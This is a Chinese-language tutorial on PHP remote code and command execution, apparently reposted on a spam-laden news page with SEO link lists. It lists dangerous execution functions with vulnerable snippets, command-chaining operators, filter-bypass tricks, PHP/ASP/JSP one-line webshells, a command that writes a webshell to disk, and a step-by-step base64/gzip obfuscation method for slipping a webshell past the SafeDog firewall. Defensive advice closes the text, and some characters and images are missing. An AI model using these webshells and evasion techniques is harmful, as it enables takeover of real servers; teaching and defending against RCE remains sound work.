当前位置: 首页 > news >正文

网站建设 手机app安卓aso优化

网站建设 手机app,安卓aso优化,兰州app制作,国内电商企业有哪些一、课程知识点 1、远程代码执行漏洞原理与利用 2、常见的代码执行函数 3、常见的命令执行函数 4、常见的绕过姿势 5、命令执行漏洞防范 二、技术目标 1、掌握命令执行漏洞的原理 2、掌握 PHP 命令执行和代码执行的相关函数 3、掌握常见的绕过姿势 4、掌握代码执行漏洞防御措施…

、课程知识点

1、远程代码执行漏洞原理与利用

2、常见的代码执行函数

3、常见的命令执行函数

4、常见的绕过姿势

5、命令执行漏洞防范

、技术目标

1、掌握命令执行漏洞的原理

2、掌握 PHP 命令执行和代码执行的相关函数

3、掌握常见的绕过姿势

4、掌握代码执行漏洞防御措施

、课程内容

1. 什么是 RCE

RCE 又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或 者代码,从而控制后台系统(shell 服务器)。

RCE 可以细分为代码执行和命令执行。代码执行执行的是后端语言的代码,命令执行执 的是系统的命令,直接对系统进行操作。

码执行-Remote code execution 令执行-Remote command execution

文的单词首字母都是 RCE,所以这两个漏洞都被称为 RCE

  • 代码执行:可通过 HTTP 请求让服务端执行服务端 WEB 代码的漏洞,通过服务端 WEB 代码也可以漏洞通常是由于代码执行函数(参数)引用了用户可控变量且未进行有 效过滤引起的。常用的一句实现服务端系统命令执行,此类一句话木马就是个人生 的代码执行漏洞。
  • 命令执行:可通过 HTTP 请求直接让服务端执行系统命令的漏洞,通常是由于系统命 执行函数引用了用户可控变量且未进行有效过滤引起的。

此外,其他一些安全漏洞在利用过程中也可能导致远程命令执行,如文件包含漏洞、反 列化漏洞等。

2. RCE 产生的原因

程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁, 方便,但是也伴随着一些问题。如果我们开发的应用,特别是企业级的一些应用需要去调用一 些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。而应用在 调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中, 没有过滤用户的输入的情况下,就会造成命令执行漏洞。

之,是对用户输入内容的过滤不完善,最终导致用户输入的恶意内容被执行。

3. 危险函数或触发方式

3.1 php 代码执行函数

eval()

eval( ) 函数把()中的字符串按 PHP 代码来执行。该字符串必须是合法的 PHP 代码,且必须以 分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

一句话木马原型。虽然可以以函数的方式调用 eval(),但是 eval() 不是 PHP 的函数,是一种语 结构,不能动态调用。在 eval() 执行的字符串要以分号结束。

a=$file=fopen("x.php","w") or die("false"); fwrite($file, "<?php @eval(\$  POST['cmd']);?>"); fclose($file);

码示例:

<?php

$code = $  REQUEST['a'];

 eval($code);

assert()

assert() 会将字符串当做 PHP 代码来执行。assert() 以动态调用。高版本 PHP 中,assert() 被弃用。

码示例:

$code = $  REQUEST['a'];assert($code);

create  function()

create  function():创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引 

<?php $a = 'phpinfo();';$b = create  function("",$a);$b();?>

call  user  func()

用回调函数。原型: mixed call  user  func ( callable callback[,mixedparameter [, mixed $… ]] )  个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

<?php

$func = 'assert';$arg = "phpinfo();";call  user  func($func, $arg);

call  user  func  array()

回调函数,参数为数组,可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调 

法同上

<?php

$cmd=$  POST['cmd']; $array[0]=$cmd; call  user  func  array("assert",$array); ?>

uasort() /sort()

uasort () 函数使用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果 功则返回 TRUE,否则返回 FALSE

<?php

$e= 'assert';$arr = array($  REQUEST['pass'],'phpinfo();');uasort($arr,$e)?>

preg  replace()

preg replace() 函数执行一个正则表达式的搜索和替换。

preg  replace(‘正则规则’,‘替换字符目标字符’)

行命令和上传文件参考 assert 函数(不需要加分号)

将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e 修饰符,则存在代码 行漏洞。

preg  replace(“/test/e”,$  POST[“cmd”],“jutst test”);

函数中第一个参数是正则表达式,e 是正则表达式的修饰符。

$code = preg  replace('~i~', 'I', 'xiu');

$code = preg  replace('~\[(.*)\]~e', '\\1', '[phpinfo()]'); echo $code;

array  map()

为数组的每个元素应用回调函数。用于将回调函数应用于数组的每个元素。接受一个回调函数和一个 或多个数组。返回一个新数组,数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组 素。

码示例:

$func = "assert";$arg[] = "phpinfo();";array  map($func, $arg);

array  filter()

array  filter  使用回调函数过滤数组的元素。array  filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在结果的数组中。数组的 名保留不变,适用于基于条件移除数组中的元素。

<?php $array[0] = $  GET['a'];array  filter($array,'assert');?>

<?php

$cmd=$  POST['cmd']; 
$array1=array($cmd); 
$func =$  GET['aaa']; 
array  filter($array1,$func); 
?>

此外,${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。) 如:

<?php 
${phpinfo()}; 
?>

3.2 php 命令执行函数

system()

system:可以执行系统命令,并且将其输出

<?php

$code=$  GET['a'];

system($code); 
?>

写入一句话木马 echo ^<?php @eval($ POST['cmd']);?^> > x.php 
http://127.0.0.1/rce/a.php?a=echo ^<?php @eval($ POST['cmd']);?^> > x.php

 ^ 的作用是转义 <

passthru()

passthru :执行外部程序并且显示原始输出

<?php @passthru($  POST['cmd']); ?>

cmd=ipconfig 即可显示信息

exec()

个函数有点特殊,他只输出最后一行

且他的输出需要自己打印。(即用 echo 打印出来

<?php

echo exec($  POST['cmd']); 
//echo "";?>

shell  exec()

shell  exec :通过

shell 执行命令并将完整的输出以字符串的方式返回

<?php echo "shell  exec($  POST['cmd'])"; ?>

popen()/proc  open()

该函数也可以将字符串当作 OS 命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函 有两个参数。

<?php $cmd=$  POST['cmd'].">>1.txt"; popen("$cmd",'r'); ?> 
$cmd 将文件查询结果放入 1.txt popen 将该文件赋予可读权限  linux 里,命令为 popen“/bin/ls”,‘r’;

反引号 ``

[``]反引号里的东西也会被当成系统命令执行。whoami 可以直接执行

<?php echo `whoami` ?>

${}

${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。)

<?php 
${phpinfo()}; 
?>

除了 PHP 以外,再来看看其他开发语言常用的命令执行函数。 JSP 执行系统命令:

ASP 执行系统命令:

4 常见管道符

4.1 windows

  1. " | "

接执行后面的语句(前面的语句是错是对无关紧要)

C:\Users\fwz>echo "1" | echo "2"

"2"

  1. " || "

果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。

C:\Users\fwz>echo "1" || echo "2"

"1"

C:\Users\fwz>echoo "1" || echo "2"

'echoo' 不是内部或外部命令,也不是可运行的程序

批处理文件。

"2"

  1. " & "

条命令都执行,前面的语句可真可假

C:\Users\fwz>echoo "1" & echo "2"

'echoo' 不是内部或外部命令,也不是可运行的程序

批处理文件。

"2"

C:\Users\fwz>echo "1" & echo "2"

"1"

"2"

  1. " && "

果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的

句只能为真

C:\Users\fwz>echo "1" && echo "2"

"1"

"2"

C:\Users\fwz>echoo "1" && echo "2"

'echoo' 不是内部或外部命令,也不是可运行的程序 批处理文件。

4.2 Linux

  1. " ; "

行完前面的语句再执行后面的语句,如果前面的语句出错,则执行后面的命令

ping -c 4 127.0.0.1;ls

  1. " | "

示后面语句的执行结果(前面的语句无论对错) ping -c 4 127.0.0.1 | ls

  1. " || "

前面的语句执行出错时,执行后面的语句

ping -c 4 127.0.0.1.1 || ls

  1. " & "

条命令都执行,前面的语句可真可假 ping -c 4 127.0.0..1.1 & ls

  1. " && "

面的语句为真才能执行两条命令,否则都不执行

5 命令执行漏洞演示

 DVWA 平台 low 安全等级为例,我们来看看这个漏洞的具体成因,漏洞页面如下:

如上图,输入 IP 地址,点击 Submit,就会执行 ping 命令。查看后端代码:

分析上图代码,首先通过 php  uname('s')读取操作系统名,与'Windows NT'对比,判断 是不是 Windows 系统。如果是 windows 系统,则通过 shell  exec()函数执行 ping 命令。如 果不是,则判断为 Linux 系统,执行 ping -c 4 命令(因为 Linux 系统如果不指定发包数, 就会一直 ping 下去)。可以看到,这里并没有对输入的'ip'参数做任何过滤,因此存在命令 执行漏洞。在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig  果如下:

Ipconfig 命令被一并执行了,并且成功返回结果。这就是一个简单的命令执行漏洞,如  web 应用为 root 权限,我们还可以执行创建用户等各类操作。

在上面的例子中,我们使用&作为连接符,实现同时执行多条命令。下面介绍几种系统常 的命令连接符。

6 一些通用的绕过姿势

6.1 空格被限制

以用以下字符串代替:

< -- 重定向,如 cat<flag.php

<> 
%09

-- 重定向,如 cat<>flag.php

--  php 环境,如 cat%09flag.php

${IFS} -- 单纯 cat$IFS2,IFS2  bash 解释器当做变量名,输不出来结果,加一个{}就固定了变量 名,如 cat${IFS2}flag.php

$IFS$9 -- 后面加个${}类似,起截断作用,$9 是当前系统 shell 进程第九个参数持有者,始终 为空字符串,如 cat$IFS2$9flag.php

#cat flag

flag{hell0  W0rld}

6.2 黑名单绕过

  1. 引号和双引号绕过

  1. 斜杠绕过

  1. 码(base64)

  1. 码(hex)

  1. 变量绕过

┌──(rootkali)-[/home/fwz] 
└─# cat fl$@ag

flag{hell0  W0rld}

6.3 代码执行中函数被过滤

比如存在 eval(),我们想借助这个去转到命令执行来获取 flag 或者是进一步获取系统的操作权限, 但是关键的命令执行函数 system()等被过滤

  1. 引号绕过

也称之为内敛执行。在权限足够的情况下,php 中的反引号可以直接执行系统命令

7 过狗一句话原理与利用

在之前的文件上传漏洞中就有介绍过木马文件,通过上传木马文件实现远程连接从而进 行远程控制操作。利用上传文件漏洞上传木马文件过程中,可能会遇到服务端对上传文件后 缀、文件名、文件格式以及文件内容等进行检测过滤,从而导致木马文件上传失败。如今存 在很多过滤机制与安全产品能够实现网站上传保护,比如安全狗。因此,学习如何绕过这些 保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话,该名称 于绕过安全狗的检测机制成功过上传一句话木马文件。

在学习过狗一句话之前,需要先学习一句话木马的原理与利用,将一句话木马剖析清楚 有利于对过狗一句话原理的理解。

7.1 一句话木马

WEBSHELL 又称网页木马文件,根据开发语言的不同又分为 ASP 木马、PHP 木马、JSP  马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服 器被脚本引擎解析,攻击者就可以实现对服务器的控制。

一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势,成为了业 界最使用的 WEBshell 类型。根据不同开发语言,一句话木马的构造语法不同,下面介绍三种 发语言的一句话木马写法:

  • PHP 一句话木马: 
    <?php @eval($  POST['v']);?>
  • JSP 一句话木马:

<%if(request.getParameter("f")!=null)(new 
java.io.FileOutputStream(application.getRealPath("\\")+request.getParame ter("f"))).write(request.getParameter("t").getBytes());%>

  • ASP 一句话木马: 
    <% eval request("v")%>

功上传一句话木马文件后,通过工具进行远程连接 get webshell,比如菜刀和蚁剑:

面分别介绍下各类开发语言的木马语句构造原理:

  1. PHP 木马

语法:<?php @eval($  POST['v']);?>

原理:eval()函数会将参数作为 PHP 代码进行执行,因此通过 eval()函数中的参数 v  交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题 而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$  POST[] 变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性, 为屏蔽了出错文件的路径等信息。

成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现 意命令执行,通过 v 参数传入命令执行函数 system(),执行 system()函数中的系统命令:

  1. ASP 木马

语法:<%eval request("cmd")%>

原理:eval 函数会将参数作为 ASP 代码进行执行,因此通过参数 cmd 提交要执行的代码 即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接,也可以访问文件上传 路径实现任意命令执行。注意语句中利用的是 request()函数,此函数能够接收 GET 方式和 POST 方式传入的参数,因此传入参数时可以直接在 URL 中构造语句,传入 cmd 参数如下图, 
 

图中的系统命令 ipconfig 运行结果显示页面如下:

  1.  JSP 一句话木马 法:

原理:JSP 一句话木马可以向网站提交任意 JSP 代码并生成脚本文件。上述代码中的 request.getParameter("f")获取到参数 f 的值作为创建的文件名,然后调用 write 往创建的 件中写入 request.getParameter("t")获取到的参数 t 的值作为文件内容。

在火狐构造 post 表单参数,因为是 request 接收所以不论 post 还是 get 服务端都能够 取到参数值。表单发送后,发现服务端真的创建了 1.txt 文件,并且文件内容就是 hello。

6.2 过狗一句话

单从 php 一句话木马语法上理解,如<?php @eval($  POST[‘pass’])?>,首先$  POST 获取 post 到服务器的参数名 pass 数据,然后 eval 会将$  POST 获取的字符串按照 php 

法进行解析,这样我们通过各种 php 函数的组合使用就能通过中国菜刀等工具对服务器的文 进行操作,这也就是常见一句话的工作原理。

通常,过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶 代码被执行,比如 eval()函数和 assert()函数等。因此过狗一句话重点就在于如何将 eval

函数绕过安全狗等安全产品的过滤与检测,最终在服务端仍然执行恶意代码并实现远程连接。 例一种最简单的绕过方式,就是将 eval 字符作为另一个参数传入,如下锁好是:

时在火狐 post 数据提交处输入 cmd=eval&pass=123 便可构成一句话木马。

者将 assert 字符串通过拼接方式利用:

通过字符拼接符将 assert 隔开绕过过滤检测,但是此方法只适用于 assert 函数,对于 eval 函数来说不可行,eval 字符隔开后再拼接无法生效,没办法正常执行语句,因此这个方 局限于 assert 函数的一句话木马绕过。

面介绍的两种简单绕过方法都有一定的局限性,因此我们需要学习更为规范的通用的

狗一句话。一般来说,通用的过狗一句话常要用到三个函数:

  • str  replace('aa','a',$a); //1.被替换内容 2.用作替换内容 3.替换的内容

  • base64  encode();
  • base64  decode();

//加密 
//解密

过狗一句话听起来很复杂,但主要思路就是对一句话中的危险的回调函数 assert 等进行 base64 加密然后插入随便字符,然后用 str  replace()函数替换,绕来绕去还是替换成 assert($  POST["v"]);的 base64 加密,然后在解密,就可以了。

体的 Byass 思路:

根据网站开发语言准备对应的一句话木马,对一句话中的敏感字眼/敏感函数进行base64 编码,在编码后的语句中插入混淆字符,然后再次对其进行 base64 二次编码。对这串字符串 进行压缩处理为了不易别发现,解压后进行 base64 解码处理,接着清除混淆字符后进行二次 码,最后进行数据拼接完成一句话木马。

6.3 过狗一句话案例

照上述思路重新编写一句话木马,如下图所示案例:

下来我们一句句分析上述过狗一句话代码的编写思路:

  1. 备好普通的一句话:
  2. 对其中的危险性函数 assert 进行 base64 编码并加入混淆字符 thinking  JoeVatte:

  1.  YXNthinkingzZXJoeVatteJ0 再次 base64 编码:
  2. 对上述代码使用 gzdeflate()对数据进行压缩:
  3. 使用 base64  decode  gzinflate 进行嵌套,先解压缩再进行 base64 解码,再把值 传入变量中(1-5 的步骤主要是做了 混淆处理)到这一步变量的值 已经转回: YXNthinkingzZXJoeVatteJ0:
  4. 定义函数 cl()将 YXNthinkingzZXJoeVatteJ0 中的混淆字符替换为空并进行 base64 解码最终转化为 assert:

str  replace($step  2,$step  1,$data);的意思是在,$data 数据里面寻找$step  2 数组里的数据,并使用$step  1 数组的数据进行替换,且替换是数组中位置一一对 应的。处理后得到的是 YXNzZXJ0,再使用 base64 解码下就得到 assert,并把 assert 回到调用函数的位置。

  1.        (cl)  cl($data)      assert           
    $a(@$  POST['cmd']);

际上经过 1-7 的操作后最终获得:$a(@$  POST['cmd']); == assert(@$  POST['cmd']);

8 命令执行漏洞防范

1、 尽量少用执行命令的函数或者直接禁用; 
system()、assert()、shell  exec()、passthru()等命令执行函数。

2、 尽量不要执行外部命令;

尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval  令执行功能的函数前,要确认参数内容。

3、 使用自定义函数或者函数库来代替外部命令的功能;

4 参数值尽量使用引号包括,并在拼接前调用 addslashes 函数进行转义;

5、 在使用动态函数之前,确保使用的函数是指定的函数之一;

6、 在进入执行命令的函数方法之前,对参数进行过滤,对敏感字符进行转义;

7 使用 safe  mode  exec  dir 执行可执行的文件路径;

 php.ini 文件中的 safe  mode 设置为 On,然后将允许执行的文件放入一个目录,并使  safe  mode  exec  dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序 时,程序必须在 safe  mode  exec  dir 指定的目录中才会允许执行,否则执行将失败。

8、 对于可控点是程序参数的情况下,使用 escapeshellcmd 函数进行过滤,对于可控点是程 序参数值的情况下,使用 escapeshellarg 函数进行过滤。escapeshellarg 函数会将用户 引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“"” 会被转义为“"”,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限 制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执 进行截断,实现防范命令注入攻击的目的。

http://www.hotlads.com/news/6194.html

相关文章:

  • 成都b2c外贸网站建设自媒体营销模式有哪些
  • 如何做网站导航国产最好的a级suv
  • 网站运营与建设 教学大纲最好的bt种子搜索神器
  • 成都广告材料批发市场西安seo排名外包
  • 入驻京东需要自己做网站吗seo诊断工具
  • 集团网站建设方案书百度在线识图
  • 免费的html模板下载广东seo推广公司
  • 济南注册公司怎么注册windows优化大师下载安装
  • 做网站就找喇叭人百度手机点击排名工具
  • 网站制作优化网站建设明细报价表
  • 网站搭建修改收费依据哈尔滨最新信息
  • 做网站兼容ie互联网广告代理
  • 上海做网站联系电话市场推广怎么做
  • 自己建设网站需要多少钱什么是软文写作
  • 网络营销是网上销售吗网站优化的意义
  • 怎么用微信官方网站做二维码网站优化关键词
  • 政府门户网站建设要求网站排名查询
  • 互联网优化营销seo怎么做最佳
  • 如何提高网站排名怎么注册中视频账号
  • 上小学网站建设免费推广公司的网站
  • 做网站有什么平台乌海网站seo
  • 合肥网站制作哪家有名如何在其他平台做推广
  • 深圳做公司网站windows优化大师功能
  • 腾讯快速建站平台谷歌手机网页版入口
  • 公司的网站建设价格营销网站建设制作
  • asp网站开发工具域名注册官网免费
  • 电子商务网站建设的风险分析简述网络营销的方法
  • 整合营销传播方法包括专业网站优化排名
  • 网络公司手机网站模板引流推广神器
  • 番禺网站建设怎样在哪里打广告效果最好